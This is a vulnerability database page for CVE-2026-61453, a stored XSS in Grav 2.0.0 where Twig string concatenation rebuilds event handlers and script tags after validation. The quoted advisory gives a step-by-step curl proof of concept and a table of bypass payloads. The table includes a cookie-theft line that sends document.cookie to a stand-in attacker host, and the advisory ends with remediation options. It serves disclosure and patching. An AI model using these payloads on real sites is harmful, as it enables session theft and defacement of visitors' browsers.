Answer in brief
CVE-2026-61453 records a Medium severity (CVSS 6.1) vulnerability in Grav: XSS Blueprint Validation Bypass via Twig String Concatenation. The current sources do not mark it as known exploited. The current feed maps getgrav/grav (composer), getgrav/grav (packagist). Check affected ranges and fixed versions before updating.
Analysis pending evidence review
HOL Guard separates source facts from reviewed analysis. See the methodology.
CVSS is 6.1. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.
Analysis status
Analysis pending evidence review
Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.
The current feed maps getgrav/grav (composer), getgrav/grav (packagist). Check affected ranges and fixed versions before updating.
| Package | Affected range | Fixed version |
|---|---|---|
| getgrav/gravcomposer | =2.0.0 | 2.0.1 |
| getgrav/gravpackagist | >=2.0.0 <2.0.1 | 2.0.1 |
Published upstream
Jul 15, 2026
Evidence: source:ghsa:source_dates:source-dates:recordSource modified
Sep 16, 2026
Evidence: source:ghsa:source_dates:source-dates:recordFirst seen by HOL
Jul 15, 2026
## Summary The XSS blueprint validator (`Security::detectXss()`) runs on the **raw page content before Twig processing**. An attacker can use Twig's string concatenation operator (`~`) to dynamically construct an event handler name at render time. The validator sees `{{ "on" ~ "error" }}` - a harmless Twig expression - and allows the content. After Twig processes the template, the output contains `<img src=1 onerror=alert(1)>` which is rendered via `{{ content|raw }}` and executes in the victim's browser. --- ## Details **The two-stage attack** exploits the separation between validation and rendering: **Stage 1 - what the XSS validator sees** (raw page content): ```twig {% set x = "on" ~ "error" %} <img src=1 {{ x }}=alert(document.domain)> ``` The `detectXss()` function scans this string. The `on_events` regex looks for `<[^>]*?[\s\x00-\x20\"\'\/](on\s*[a-z]+|xmlns)\s*=` inside HTML tags. In `{{ x }}`, the `{` character is not in the boundary set `[\s\x00-\x20\"\'\/]`, and `x` is not `on`. **No match - passes validation.** **Stage 2 - what Twig produces** (after rendering): ```html <img src=1 onerror=alert(document.domain)> ``` The validator never re-inspects Twig output. The theme template renders this via `{{ page.content|raw }}` (confirmed in `quark2/templates/default.html.twig:5`), so no auto-escaping occurs. **Why `{% set %}` and `~` are allowed** - `system/config/security.yaml:125-145`: ```yaml allowed_tags: - set # ← allows variable assignment ... ``` The `~` operator is a core Twig operator for string concatenation (like `.` in PHP). It is not a function, filter, or tag — it is always available and not gated by the sandbox. **The same technique bypasses the `dangerous_tags` blocklist** - any blocked tag name can be reconstructed: ```twig <s{{"c"~"r"~"i"~"p"~"t"}}>alert(1)</s{{"c"~"r"~"i"~"p"~"t"}}> {# XSS validator sees: <s{{...}}> - no <script> tag detected Twig output: <script>alert(1)</script> #} ``` **Also bypasses the `invalid_protocols` check**: ```twig <a href="{{"java"~"script"}}:alert(1)">click</a> {# Validator sees: href="{{...}}" - no "javascript:" protocol detected #} ``` --- ## Proof of Concept ### Prerequisites 1. `twig_content.process_enabled: true` set by admin 2. `api.pages.write` permission (page creation) ### Step 1 - Obtain JWT token (any user with page write access) ```bash JWT=$(curl -s http://127.0.0.1/grav/api/v1/auth/token \ -X POST -H "Content-Type: application/json" \ -d '{"username":"user","password":"pass"}' \ | python3 -c "import json,sys; print(json.load(sys.stdin)['data']['access_token'])") ``` ### Step 2 - Create page with Twig XSS payload ```bash curl -s http://127.0.0.1/grav/api/v1/pages -X POST \ -H "Authorization: Bearer $JWT" -H "Content-Type: application/json" \ -d '{ "title": "xss-page", "folder": "xss-page", "route": "/xss-page", "template": "default", "header": {"title": "xss", "process": {"markdown": false}}, "content": "{% set x = \"on\" ~ \"error\" %}<img src=1 {{ x }}=alert(document.domain)>" }' ``` **Result**: `201 Created` - XSS validator passes because it sees `{{ x }}`, not `onerror`. ### Step 3 - Visit page → XSS fires ```bash curl -s http://127.0.0.1/grav/xss-page | grep -oP '<img[^>]*>' # Output: <img src=1 onerror=alert(document.domain)> ``` Open in browser: `http://127.0.0.1/grav/xss-page` - `alert(document.domain)` fires. <img width="1842" height="996" alt="image" src="https://github.com/user-attachments/assets/eedd2555-266e-41fc-a461-c56631b8a588" /> <img width="1346" height="263" alt="image" src="https://github.com/user-attachments/assets/b42b4ba3-4b8c-40a3-8fc3-62f961835aef" /> #### From a low-level user Also From a low-level user normal script such as `<img src=1 onerror=alert(1)>` this is being blocked by the restriction. <img width="1849" height="980" alt="image" src="https://github.com/user-attachments/assets/f1503d4a-7daf-4237-b155-22801b961b57" /> But with payloads such as <a href="{{"java"~"script"}}:alert(1)">click</a> proves that the we can bypass the blueprint restrictions and upload malicious script to it <img width="1841" height="1009" alt="image" src="https://github.com/user-attachments/assets/60af8cf8-840a-4b9c-84ba-6f89355035fd" /> <img width="1524" height="390" alt="image" src="https://github.com/user-attachments/assets/201991b7-3d56-4d85-9bbc-17a63b9cb770" /> ### Alternative payloads (all bypass the validator) | Payload | Twig Source | After Twig | Triggers | |---------|------------|------------|----------| | Event handler | `<img src=1 {{"on"~"error"}}=alert(1)>` | `<img src=1 onerror=alert(1)>` | Image load fails | | Script tag | `<s{{"c"~"r"~"i"~"p"~"t"}}>alert(1)</s{{"c"~"r"~"i"~"p"~"t"}}>` | `<script>alert(1)</script>` | Immediately | | Protocol bypass | `<a href="{{"java"~"script"}}:alert(1)">click</a>` | `<a href="javascript:alert(1)">click</a>` | On click | | Iframe onload | `<i{{"f"~"r"~"a"~"m"~"e"}} {{"on"~"load"}}=alert(1)>` | `<iframe onload=alert(1)>` | Page load | | Details toggle | `<details open {{"on"~"toggle"}}=alert(1)>` | `<details open ontoggle=alert(1)>` | Page load | | Cookie theft | `<img src=1 {{"on"~"error"}}=fetch("https://attacker.com/?c="+document.cookie)>` | `<img src=1 onerror=fetch(...)>` | Image load fails | ### Admin preview caveat The Admin2 SPA renders page previews inside a **sandboxed iframe**: ```html <iframe sandbox="allow-same-origin allow-scripts allow-forms"></iframe> ``` `allow-modals` is **not** set - `alert()` is silenced in the admin preview. Use `fetch()`, `document.write()`, or DOM manipulation payloads to prove execution in the admin panel. The frontend page (no iframe) has no such restriction - `alert()` fires directly. --- ## Impact Once the Twig content master gate is enabled by an administrator, **any user with page write access** can inject stored XSS into page content that executes for all visitors. The attack: - **Bypasses all four XSS validator regexes** (`on_events`, `invalid_protocols`, `dangerous_tags`, `html_inline_styles`) - **Bypasses the dangerous tag blocklist** (reconstructs `<script>`, `<iframe>`, `<svg>`, etc.) - **Bypasses the invalid protocol blocklist** (reconstructs `javascript:`, `data:`) - **Persists** across page edits (stored in page content file) - **Executes** for every visitor to the page An attacker can steal session cookies, perform actions as the victim, or deface the site. --- ## Remediation ### Option A - Re-run the XSS validator on Twig output After `Twig::processPage()` renders the content, run the XSS validator on the **output** before it is cached and served: ```php // In Twig::processPage(), after rendering $rendered = $twig->render($name, $context); $result = Security::detectXss($rendered); if ($result !== null) { // Log and sanitize or block Security::logTwigSandboxViolation('xss_output', $result, '', $route); return ''; // or return escaped version } ``` ### Option B - Disallow `~` and `{% set %}` in sandboxed content (too restrictive) Removing string concatenation or variable assignment from the sandbox would break legitimate use cases (e.g., building dynamic class names, assembling URLs). ### Option C - Block dynamic attribute names in Twig output Parse the Twig output for HTML and check if any event handler attributes were dynamically constructed. This is complex but comprehensive. ### Option D - Escape HTML in rendered Twig output Wrap the rendered output with `htmlspecialchars()` unless explicitly marked safe. This is the Twig default behavior — the `|raw` filter in theme templates bypasses it. Consider removing `|raw` from default themes and requiring explicit `|raw` only for trusted content.
Quoted source text, attributed separately from HOL analysis.